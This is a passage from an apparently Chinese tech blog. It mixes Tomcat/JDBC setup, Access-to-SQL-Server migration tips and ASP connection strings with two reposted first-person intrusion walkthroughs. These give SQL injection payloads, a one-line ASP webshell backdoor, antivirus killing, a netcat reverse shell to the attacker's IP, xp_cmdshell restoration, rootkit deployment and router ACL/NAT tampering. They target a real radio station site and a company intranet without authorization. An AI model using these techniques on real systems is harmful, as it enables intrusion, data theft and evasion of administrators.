D:\Tomcat\common\lib\servlet.jar 

   接着可以启动tomcat,在IE中访问http://localhost:8080,如果看到tomcat的欢迎页面的话说明安装成功了。

   如果上面的tomcat安装成功的话,接下来继续安装JSP访问SQL Server 2000的驱动程序:

  第三步:—-安装JSP访问SQL Server 2000的驱动程序:

   从微软的网站上下载驱动程序:SQL Server 2000 For JDBC 驱动程序,在Google中随便搜索就有。

   然后将它安装好。(比如安装目录是D:\SQLDriverForJDBC。)

   然后必须将安装目录中的lib目录下三个jar文件:

   msbase.jar,mssqlserver.jar,msutil.jar拷贝到Tomcat目录下common\lib目录下,之后,修改环境变量中的CLASSPATH,
把SQL Server 2000 For JDBC 驱动程序安装目录下的
D:\SQLDriverForJDBC\lib\msbase.jar;D:\SQLDriverForJDBC\lib\mssqlserver.jar;
D:\SQLDriverForJDBC\msutil.jar;
追加到CLASSPATH中去,修改后的CLASSPATH如下: 

CLASSPATH=D:\Java\bin;.;D:\Java\lib;D:\Java\lib\dt.jar;
_D:\Java\lib\tools.jar;D:\LubeeTomcat\common\lib\servlet.jar;
_D:\SQLDriverForJDBC\lib\msbase.jar;D:\SQLDriverForJDBC\lib\mssqlserver.jar;
D:\SQLDriverForJDBC\msutil.jar

    必须重新启动Tomcat!

    这样做的目的是,jsp页面在编译过程中不会出现找不到sql server driver类库的问题

  写一个简单的用来测试连接SQL Server 2000的JSP代码

  <%@ page import="java.lang.*, java.io.*, java.sql.*, java.util.*" contentType="text/html;charset=gb2312" %>
  
  
  <% Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
   String url=”jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs”;
   //pubs 为你的数据库的
   String user=”sa”;
   String password=”admin”;
   Connection conn= DriverManager.getConnection(url,user,password);
   Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
   String sql=”select job_id,job_desc from jobs”;
   ResultSet rs=stmt.executeQuery(sql);
   while(rs.next()) { %>
    您的第一个字段内容为:<%=rs.getString(1)%>

    您的第二个字段内容为:<%=rs.getString(2)%>

  <% } %>
  <% out.print("数据库操作成功,恭喜你"); %>
  <% rs.close();
   stmt.close();
   conn.close();
  %>
  
  

  将上面的JSP代码保存为sql_test.jsp,放在/Root目录下。

  在地址中输入:http://localhost:8080/sql_test.jsp,如果全部配置成功的话,将显示如下:

  您的第一个字段内容为:1
  您的第二个字段内容为:New Hire - Job not specified
  您的第一个字段内容为:2
  您的第二个字段内容为:Chief Executive Officer
  您的第一个字段内容为:3
  您的第二个字段内容为:Business Operations Manager
  您的第一个字段内容为:4
  您的第二个字段内容为:Chief Financial Officier
  您的第一个字段内容为:5
  您的第二个字段内容为:Publisher
  您的第一个字段内容为:6
  您的第二个字段内容为:Managing Editor
  您的第一个字段内容为:7
  您的第二个字段内容为:Marketing Manager
  您的第一个字段内容为:8
  您的第二个字段内容为:Public Relations Manager
  您的第一个字段内容为:9
  您的第二个字段内容为:Acquisitions Manager
  您的第一个字段内容为:10
  您的第二个字段内容为:Productions Manager
  您的第一个字段内容为:11
  您的第二个字段内容为:Operations Manager
  您的第一个字段内容为:12
  您的第二个字段内容为:Editor
  您的第一个字段内容为:13
  您的第二个字段内容为:Sales Representative
  您的第一个字段内容为:14
  您的第二个字段内容为:Designer
  数据库操作成功,恭喜你 
 
  以上所有的内容涉及的相关条件:

  操作系统:Windo
w 2000 Server
  J2SDK版本:j2sdk-1_4_2_04-windows
  Tomcat版本:jakarta-tomcat-4.1.30
  本地数据库:SQL Server 2000

ACCESS改为SQL需要注意哪几个地方

0

分类 : 技术文摘 | 发表时间 10-01-2006

数据库导入以后,自动增加字段需要重写,所有的数字类型需要增加长度,最好用decimal。

所有的默认值都丢失了。主要是数字类型和日期类型。

所有now(),time(),date()要改成getdate()。

所有datediff(‘d’, time1, time2)要改成datediff(day, time1, time2)

有可能一些true/false类型不能使用,要变为1/0。

备注类型要通过cast(column as varchar)来使用。

CursorType要改成1,也就是打开数据库时要给出第一个数字参数为1,否则记录可能显示不完整。

isnull(rowname)要改成rowname = null

ACCESS的数据库中的自动编号类型在转化时,sql server并没有将它设为自动编号型,我们需在SQL创建语句中加上identity,表示自动编号!

转化时,跟日期有关的字段,SQL SERVER默认为smalldatetime型,我们最好将它变为datetime型,因为datetime型的范围比smalldatetime型大。有时用smalldatetime型时,转化失败,而用datetime型时,转化成功。

对此两种数据库进行操作的sql语句不全相同,例如:在对ACCESS数据库进行删除纪录时用:”delete * from user where id=10″,而对SQL SERVER数据库进行删除是用:”delete user where id=10″.

日期函数不相同,在对ACCESS数据库处理中,可用date()、time()等函数,但对SQL SERVER数据库处理中,只能用datediff,dateadd等函数,而不能用date()、time()等函数。

在对ACCESS数据库处理中,sql语句中直接可以用一些VB的函数,像cstr()函数,而对SQL SERVER数据库处理中,却不能用。

入侵中VBS的灵活使用

0

分类 : 技术文摘 | 发表时间 08-01-2006

来这个城市快两年了,无用过时的垃圾课程,名目繁多的考试。让人感觉到大学生活的两个字“不爽”。只有一个音乐电台陪我度过了两年无聊的大学生活。
近日,去它的网站逛了逛,大脑一发热,决定给她做个安全测试。网页是htm形式的,在上面乱点了一阵。没有发现使用动态页面的地方。用SUPERSCAN扫了一下,发现机子开了80和8080端口(安全意识还不错)系统方面应该没有什么问题(最起码在我看来)。
记得以前看过一个动画,讲的是如何注入htm形式的网站。其实,说白了也就是在htm里找带有asp之类的地方,不知道它是不是存在这个问题。半天工夫之后,还真让我给找到了一个使用asp的地方,随手加了一个单引号,返回错误。
依据返回的信息说明是SQL Server,看来不妙!网站使用的是独立服务器,因为用ip可以直接访问网站。用NBSI检测了一下这个连接,我靠!竟然是SA权限。

当时开始的时候,我是想先下载一个NC在NBSI里执行命令,然后再反向连接过来,这样就可以得到系统权限了。具体操作是用ECHO命令写一个ftp.txt。但是,我在输入命令之后发现结果并不像我想的那样顺利。当我输入一条echo命令发现竟然执行了7次。我的命令是echo open ftp.horizon.com>>F:\web\wsad\horizon.txt(F:\web为网站的根目录)。但是,结果却是写了7次,如果这样下载文件肯定不会成功。

不知大家注意过没有?在用NBSI执行命令的时候如果勾选了尝试返回结果,执行命令就会很慢。所以,这里为了提高执行命令的速度,就不要勾选尝试返回结果。这里由于不能把open ftp.horizon.com成功写入horizon.txt。所以,得另辟它路。
前面没成功,接着我想到了<%execute request(“1”)%>这个经典中的经典。如果能把它写入web目录就好办多了。现在<%execute request(“1”)%>就像是过街老鼠人人喊打,处境悲惨。即使有被打的危险,也还是要过街。但是,这里却有一个问题就是在NBSI里执行时,文件中的%被过滤了,少了%,废物一个。
当时我想了一个办法,既然它过滤了%,那么我就找它没有过滤掉的字符。例如“*”,这样我就可以先把<*execute request(“1”)*>写入文件,然后再把文件中的*换成%不就可以了。年轻人嘛,说干就干。不过这里要用到几个脚本。写文件的脚本horzion.vbs,命令格式为cscript horizon.vbs“要写的东西“objectfile”,内容为。

上面文件需要用echo命令把它写到服务器上***.vbe或***.vbs,然后再用这个vbs写我们要的文件,上面文件中类似于:“,%,&:和回车符是不能直接作为参数传递给脚本文件的。所以,我们这里还需要一个替换文件horizon1.vbs,作用就是替换特定字符串了。
这里简单解释一下:on error resume next是一个容错语句,至关重要,不管后面的程序发生什么意外,整个程序都将继续执行下去,直至结束。其次是IF语句,为了防止多条语句重复向文件写入相同的内容,这里加了一个标志若x=1才执行写文件,写完马上把x赋值2。这里可能有人会问为什么在每条语句后都加个“:”,其实,这是为了防止同一行有多条相同语句的情况,保证程序的顺利执行。
这样程序就不能正常执行了。如果想把:“,%,&,回车符直接作为参数传递给脚本文件,这里可以看出回车被“==”所替换,双引号被**替换,&被—替换,%被@@替换,在程序开始之前,我们先把文件open.ftp.horizon.com转换成可以被horizon.vbs接受的格式。用脚本转换horizon.vbs。命令格式为:
cscript horizon1.vbs 源文件 目标文件。


在本机执行cscript horizon1.vbs horizon.txt horiozn1.txt。其中horizon.txt文件中的内容为一句话后门<%execute request(“1”)%>。horizon1.txt文件中的内容为转换之后的horizon.vbs的ECHO代码。
我们在NBSI的那边NB Commander中一句一句执行上面的命令,等执行完之后,就会在对方的系统目录下生成一个文件horizon.vbe接着执行命令:
cscript writefile.vbe “<@@execute request(**1**)@@.>”F:\web\wsad\horizon.asp
这样一来我们就把一句话后门成功地写进了对方WEB目录了,相应的地址就是:http://www.***.com/wsad/horizon.asp。然后在把post.htm的form action指向该地址就OK了。
小提示:当我们在给脚本文件传递参数的时候,如果参数中带有空格的时候,就得用两个双引号将其括起来。

这样一来一个WebShell就到手了,这里为了防止其他意外情况,我在 horizon.asp文件中加了一句验证if request(“id”)=“horizon” then。如果在没有加参数id=horizon的情况下访问该页面的时候,只会显示一个空页面。在一定程度上可以保护我的战果哦!
不过现在看来拿下这个WebShell还真是费了一翻周折,不过最终还是搞到手了。继而想借此WebShell做点文章,但是不料发现这台机子设置的还是蛮BT的。晕,我狂晕,晕过之后再醒过来。
接着net user命令成功完成。再来个net start,发现有Serv-u,好东西!接下来一口气输入了n个命令,此时情报已经收集的差不多了。情报到手,准备开战,此战中立功最大的莫过于cacls了。其实这个命令对于高手们来说早都用滥了。不过为了照顾像我一样的菜菜们,这里稍作解释。cacls这个命令可以解除系统对目录的浏览限制。至于其具体用法,大家可以字cmd下输入cacls /?了解。
本来认为有了Serv-u之后,提权就不会有多难了。但是,事实证明我错了。这个Serv-u对于各种攻势都不感冒,我最终是无功而返,看来管理员还是蛮勤快的,将补丁都打上了。
东方不亮,西方亮。此路不通,另觅它路,难不成要吊死在一棵树上。开始的时候就想下个nc.exe进去。但未成功,片刻的休息之后,我停止的引擎又再次飞快的转动起来。
WebShell上传nc.exe还算顺利,因为机子上的瑞星早被我用ntsd –c -q -p PID给干掉了。先在本地nc -vv -l -p 80监听,然后再用nc.exe反向连接过来就OK。不过开始的时候,我还是犯了一个常识性错误,当时我没有多想就用WebShell反向连接过来的。因为WebShell本身只有iusr权限,所以我们反向连接过来的也只有iusr权限喽!因为这个,我当时被搞了一头雾水,开始怎么也想不明白?后来才恍然大悟过来啊!不过,幸好我“反应”算迅速,没有再按照原来的思路走下去。上面我都已经说了,这里不能用WebShell,要用NBSI,因为NBSI里反向过来的是administrator权限。呵呵!(注意哦)
nc 222.90.***.244 -r 80 -e cmd .exe
这里 222.90.***.244是我的ip。顺利得到了对方的一个Shell(这个Shell可是administrator权限)。^O^
之后我还试着尝试了另外几个端口,结果是都可以正常的反向连接过来,至此我并没有再继续下去。至于刚开始时的失败,我后来才发现原因是因为用horizon.vbe写的那个下载文件失败了。下载的文件为0字节。开始并没有注意到这点,后来才发现,很郁闷!看来做事千万马虎不得。
最后总结这次入侵的经历,其实最终能成功也是有一些偶然,假设这台服务器如果是台虚拟主机而不是台独立的服务器,那么SQL就不可能是SA权限。继而后面的许多工作就不会顺利下去。其次,成功的另外一个因素就是灵活的脚本应用,不然一句话后门就写不进去,接着后面的工作就都是白搭,不过庆幸的是最后还是搞下了。


作者: Horizon
来 源: 《黑客
防线》

渗透某知名公司内部网络

0

分类 : 技术文摘 | 发表时间 08-01-2006

文章作者:EvilAngel(evilangel@china.com.cn)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

此文以发表在非安全杂志 后由原创作者友情提交到邪恶八进制信息安全团队 转载请注明出处及原作者

本文的目标是一国内知名公司的网络,本文图片、文字都经过处理,均为伪造,如有雷同,纯属巧合。
最近一个网友要我帮他拿他们公司内网一项重要的文件,公司网络信息朋友都mail给我了,这些信息主要是几张网络拓扑图以及在内网嗅探到的信息(包括朋友所在的子网的设备用户名及密码等信息……)。参照以上信息总体整理了一下入侵的思路,如果在朋友机器安装木马,从内部连接我得到一个CMD Shell,须要精心伪装一些信息还有可能给朋友带来麻烦,所以选择在该网络的网站为突破口,而且管理员不会认为有“内鬼”的存在。
用代理上肉鸡,整体扫描了一下他的网站,只开了80端口,没扫描出来什么有用的信息,就算有也被外层设备把信息过滤掉了,网站很大整体是静态的网页,搜索一下,查看源文件->查找->.asp。很快找到一个类似http://www.*****.com/news/show1.asp?NewsId=125272页面,在后面加上and 1=1 、and 1=2前者正常,后者反回如下错误。
Microsoft OLE DB Provider for ODBC Driver error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character sting”.
/news/show/show1.asp,行59
是IIS+MSSQL+ASP的站,在来提交:
http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select is_srvrolemember(‘sysadmin’))
http://www.*****.com/news/show1.asp?NewsId=125272 and ‘sa’=(select system_user)
结果全部正常,正常是说明是当前连接的账号是以最高权限的SA运行的,看一下经典的“sp_cmdshell”扩展存储是否存在,如果存在那就是初战告捷。
http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell’)
失败,看看是否可以利用xplog70.dll恢复,在提交:
http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’
在试一下xp_cmdshell是否恢复了,又失败了,看样管理是把xp_cmdshell和xplog70.dll删除了,想利用xp_cmdshell“下载”我们的木马现在是不可能的。首先我们先要得到一个WEB Shell,上传xplog70.dll,恢复xp_cmdshell在利用xp_cmdshell运行我们上传的木马,这都是大众入侵思路了,前辈们以经无数人用这个方法入侵成功。拿出NBSI扫一下,一会后台用户名和密码是出来了,可是后台登录地址扫不出来,测试了N个工具、手工测试也没结果,有可能管理员把后台删除了。我们想办法得到网站的目录,这时就须要用到xp_regread、sp_makewebtask两个扩展存储,试一下是否存在:
http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where name = ‘xp_regread’)
http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where xtype=’X’ and name = ‘sp_makewebtask’)
全部返回正常说明存在(一般的网管不太了解他们,存在也很正常),首先简单介绍一下xp_regread扩展存储过程及sp_makewebtask Web助手存储过程,xp_regread是用来读取注册表信息的,我们可以通过这个来得到保存在注册表中的Web绝对路径。sp_makewebtask这个就是我们用来得到WEB Shell的,主要功能就是导出数据库中表的记录为文件。这个方法网上很早就出现了,我们网站的目录在注册表里是在HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\,我们在数据库里建一个表,将他存储在表里,在使数据库错误回显在IE里。
http://www.*****.com/news/show1.asp?NewsId=125272;create table [dbo].[biao]([zhi][char](255));
这时候我们就建了一个名为biao的表,并添加了一个类型为char长度是255的字段,名为zhi,然后添加数据:
http://www.*****.com/news/show1.asp?NewsId=125272;declare @result varchar(255) exec master.dbo.xpregread’HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’, @result output insert into biao (zhi) values(@result);–
然后暴出WEB绝对路径:http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from biao where zhi>1)
IE返回错误,得到网站的物理路径e:\inetput\web\,向网站目标写个小网页木马,一个朋友以前写过一个程序,由于只是内部用的,我就不抓图了,网上早就有发布过这种工具,有兴趣下载自己看看吧!原理都是一样的,如果想手工输入就是麻烦了点,但可以向网站脚本文件写入“一句话木马”在远程提交,以得到一个大马的目的。登录木马后把自己机器的xplog70.dll上传到网站目录在传一个hacker’s door,黑客之门只有一个dll,我们要建一个批处理,名子为run.bat:
@echo off
@rundll32 kernel,DllRegisterServer svchost.exe
@del run.bat
在拿一下文件合并器,将我们建的批处理和dll文件合并成一个exe文件,黑客之门的使用方法我就不多说了,他有详细的使用手册,建议在处理一下,以免传到服务器上被查杀。黑客之门主要用处是可以利用服务器上所开的任何端口和我通信,现在恢复他的xp_cmdshell扩展存储:
http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:\inetput\web\xplog70.dll’;–
在IE里提交:exec master.dbo.xp_cmdshell’ e:\inetput\web\rootkit.exe’ rootkit.exe是黑客之门改的名子,注意这个程序要解绑到系统目录。

木马运行后,Nc –vv ip 80 输入密码就得到一个CMD Shell,在放一个隐藏的asp木马,简单的把入侵的痕迹清理一下。以上的方法很早就有了,由于网上资料也很多、本文主要说渗透内网,篇幅有限我就不过多解释了。
渗透内网
这个网络很大共有七个网管,现在当前位置是F网、朋友在B网、目标在A网。朋友给的资料,目前接入internet的两台设备未知(假设未知的设备都是路由器),图2是该公司大体的网络拓扑图。掌握B网所有设备用户名密码(
朋友之前嗅探到的)。除A网其它网络可以自由通信, A网内有公司重要信息所以不像其它网,它是不允许任何人访问的,路由不给予转发数据,也就是只进不出的网络,虽然现在的网络是外紧内松,但是想进入目标主机还是有些难度。怎么跨过设备的限制到达目标呢!您还要向下看。现在首要的目的就是让router3给我们转发数据包。

首先尝试telnet登录路由,拒绝访问不能登录,我想也不能登录,应该是访问控制列表限制了。
现在我们首要目标拿下router3的控制权,为什么目标定位在router3呢!
我们现在知道他的登录密码;
我当前位置可以和B网直接通信;
Router3是A、B网络公用的,应该两个网管都有权限登录;
这一点也是最重要的,只有router3给予数据转发才可以和目标主机通信;
个人认为router3是最佳路线,现在假设一下,如果B网管理员所管理的设备只有他本身所用的IP或TFTP Server(兼DHCP Server)才可以登录设置,那么有如下思路可以完成入侵。一般来说管理员主机一定可以登录这台路由器的,网管主机都不可以登录设备那么谁为维护网络呢!
1、直接得到B网管理员主机的一个CMD Shell来登录设备。
2、得到管理员同网段一台主机的CMD Shell,从而利用ARP欺骗来telnet目标路由。
3、得到B网其它网段中可访问外部网络一台主机的CDM Shell,伪装CDM Shell主机IP地址,必要情况伪装IP+MAC地址来欺骗路由器,(机会高达到50%)。
经过分析拿B网的DHCP服务器(172.16.101.25)开始,选择突破点也是很重要的,DHCP服务器为了提供这个网段的服务他是暴露在相对外部的,而且不在VLAN的管辖中,还和网管在同一交换机下,而且听朋友说他们公司PC几乎不打补丁,还有很多员工不知补丁为何物,这也给入侵带来及大的方便。利用服务器的WEB木马上传一些流行的溢出程序,直接拿个溢出程序溢出他的DHCP服务器,(最后才知道2003年的溢出程序对这个主机都有用)成功得到一个System权限的CMD Shell。
革命尚未成功,同志们还须努力啊!“下载”我们肉鸡一个反弹的木马,我们的肉鸡是不能主动连接DHCP服务的,好像有点费话。现在这个主机就是我们在内网的一个接入点,放弃我们刚才控制的那个WEB主机,利用反弹木马开的个CMD。telnet一下路由,%connection closed by remote host!还是连接失败,不能登录路由器,看样只有172.16.101.15这台主机(管理员IP)可以登录了,我们看一下登录他的交换机OK不(一般工作组交换机权限设置不会那么BT)。
telnet 172.16.101.253 //交换机管理地址
Password:
center>enable
Password:
成功登录,show mac-access、show cdp neighbors、show arp一些命令判断管理员对应的结口,管理员的IP对应的是FastEthernet 7/1,这个时候要用到IP地址的欺骗,在此感谢EST长的最难看的哥哥。
#interface FastEthernet 7/1
#shutdown
当然,这要等网管离开的时候才可以,这就要内外结合了。这个时候172.16.101.15这台主机在网络上以消失了,我们试一下路由是否允许网管的主机登录,把自己的IP改成172.16.101.15,输入:
netsh >interface ip
netsh interface ip >dump看一下接口配置信息
netsh interface ip >set address name = ″本地连接″ source = static addr = 172.16.101.15 mask = 255.255.255.0
这时候当前主机地址改为172.16.101.15,现在这个主机会和我断掉,但只是一小会,我们的反弹木马一会就能上线。一般重新变改IP地址要发个ARP包告诉网络其它主机,大概意思是我的IP是172.16.101.15,MAC地址是00-00-00-00-12-34,以后有发往172.16.101.15地址的数据包都有我来响应。交换机刷新地址表后这台主机伪装成功。在telnet登录路由器

show running-config看一下配置信息,把路由配置信息COPY到记事本在分析,找到如下配置信息。
access-list 99 172.16.8.88 0.0.0.0 //A网管理员地址
access-list 99 172.16.101.15 0.0.0.0
访问列表99限制只有以上两个IP可以登录路由,看来是这个家伙在作怪。删除99访问列表,在添加99访问列表:
#access-list 99 172.16.68.88 0.0.0.0
#access-list 99 172.16.101.15 0.0.0.255 //改成172.16.101.0/24网段都可以登录
#line vty 0 4
#access-class 99 in
退出路由系统,把自己IP改回来,把交换机设置也改回来以免网管回来被发现。
center(config)#interface FastEthernet 7/1
center(config-if)#no shutdown
简单的清理一下留下的痕迹,退出他们的网络来分析一下网管是怎么配置的路由,在路由配置信息中有几条重要信息。
ip nat pool NO.1027 10.255.200.1 10.255.200.105 netmask 255.255.255.0
ip nat inside source list 10 pool NO.1027 overload
access-list 10 permit 172.16.7.0 0.0.0.255
access-list 10 permit 172.16.8.0 0.0.0.255
……
router eigrp 10
真是不敢恭维网管的技术,一条访问列表可以搞定的事,非要分成N个访问列表来描述。到这时才明白为什么朋友不能访问目标主机,因为A网边界路由器为其作NAT的地址转换,将B类地址转换成A类地址,并且有访问列表限制。现在要使当前主机和目标主机在“堡垒”中建立一条专用的“线路”。我这对路由的配置不是很熟悉,也不敢太多的尝试,以免被网管发现,但是我们可以“重新”配置一下他的eigrp协议,使内部的地址完全暴露在外边,但此办法太容易让网管发现,但是当时没想出别的办法来。
#clear ip nat translation *
#no ip nat inside source list 10 pool NO.1027 overload
#no …… //去掉他的访问列表及NAT配置信息
#router eigrp 10
(config-router)#network 172.16.2.0 0.0.0.255
(config-router)#network 172.16.3.0 0.0.0.255
(config-router)#network …… //把所有的网段加进去
#reload 10 //10分钟后设备自动重启
现在路由器就可以为我们转发数据包了,并且在10分钟自动重启使更改的的配置失效,我们现在只差一步就大功告成了,现在须要在我控制的那台主机到目标主机创建一条干线使我们的数据包可以直接到达目标主机。
show cdp neighbors得到如下信息:
Device ID Local Intrfce Holdtme Capability Platform Port ID
Router3 Fas0/12 176 R 2621 4
在交换机中添加VLAN 13,(目标主机的VLAN号),进入Fas0/12端口, “switchport trunk all vlan add 13 ”,在trunk中添加VLAN13,使这条线路可以通过VLAN13的数据,没有必要改变自己的VLAN号,路由器现在没有访问列表来控制我们的数据流。这个时候我们ping 172.16.8.120目标主机物理IP地址数据包可以到达了。

这次入侵也接近尾声了,和以前一样还是溢出后安装一个反弹木马,使他可以主动连接我的肉鸡,当然这要在10分钟内搞定,否则要重新进路由改变他重启的时间,备份他硬盘上的数据,备份肉鸡上的数据,最后就是清理一下入侵的痕迹。这次入侵大约10天才完成,因为要等到特定的时间才可以改变他的网络设备配置,比如改变路由器的访问列表进一定要等到下班时间,大多用户不使用网络时、而目标主机还在使用网络时、网管还没有关闭设备时,也就是要和网管打个时间差。
本文经过N次的筛选终于从万字的文章精减出此文,可读性、实用性一定会有不同程度上的衰减,本次入侵没有什么新的技术,主要说怎样绕过内部网络设备的限制,只不过是一些经验的叠加,针对网络设备入侵这也算很初级的。

ASP各种数据库连接代码

0

分类 : 网站技术 | 发表时间 23-12-2005

各种数据库连接代码


MS Access数据库连接


用DSN连接并且没有用户名和密码:


<%
set conn = Server.CreateObject(“ADODB.Connection”)
conn.open “YourDSNName”
%>


用DSN连接并且有用户名和密码:


<%
set conn = Server.CreateObject(“ADODB.Connection”)
conn.open “YourDSNName”,”username”,”password”
%>


用实际的数据库绝对路径连接:


<%
Set conn = Server.CreateObject(“ADODB.Connection”)
Strconn=”DRIVER={Microsoft Access Driver (*.mdb)}; “
Strconn=Strconn & “DBQ=e:\yanhang\database.mdb”
conn.Open Strconn
%>


用实际的数据库相对路径连接:


<%
Set conn = Server.CreateObject(“ADODB.Connection”)
Strconn=”DRIVER={Microsoft Access Driver (*.mdb)}; “
Strconn=Strconn & “DBQ=” & Server.MapPath(“/database/yanhang.mdb”)
conn.Open Strconn
%>


MS SQL Server数据库连接


用DSN连接:


<%
set conn = Server.CreateObject(“ADODB.Connection”)
conn.open “DSN=MyDSN;UID=user;PWD=password;DATABASE=databasename”
%>


不用DSN连接:


<%
Set conn = Server.CreateObject(“ADODB.Connection”)
DSNtemp=”DRIVER={SQL Server};SERVER=ServerName;UID=USER;PWD=password;DATABASE=databasename”
conn.open DSNtemp
%>


FoxPro数据库连接


<%
Set Conn = Server.CreateObject(“ADODB.connection”)
ConnStr= “Driver=Microsoft Visual Foxpro Driver; UID=userID;SourceType=DBC;SourceDB=C:\yanhang\database.dbc”
Conn.Open ConnStr
%>


Oracle数据库连接:


<%
set conn=server.createobject(“adodb.connection”)
conn.cursorlocation=adUseClient
DSNTemp=”Provider=MSDAORA.1;Password=xxxxx;User ID=yanhang;Data Source=xxx.world”
conn.open DSNtemp
%>

screen.width-500)this.style.width=screen.width-500;” align=middle border=0>

无觅相关文章插件,快速提升流量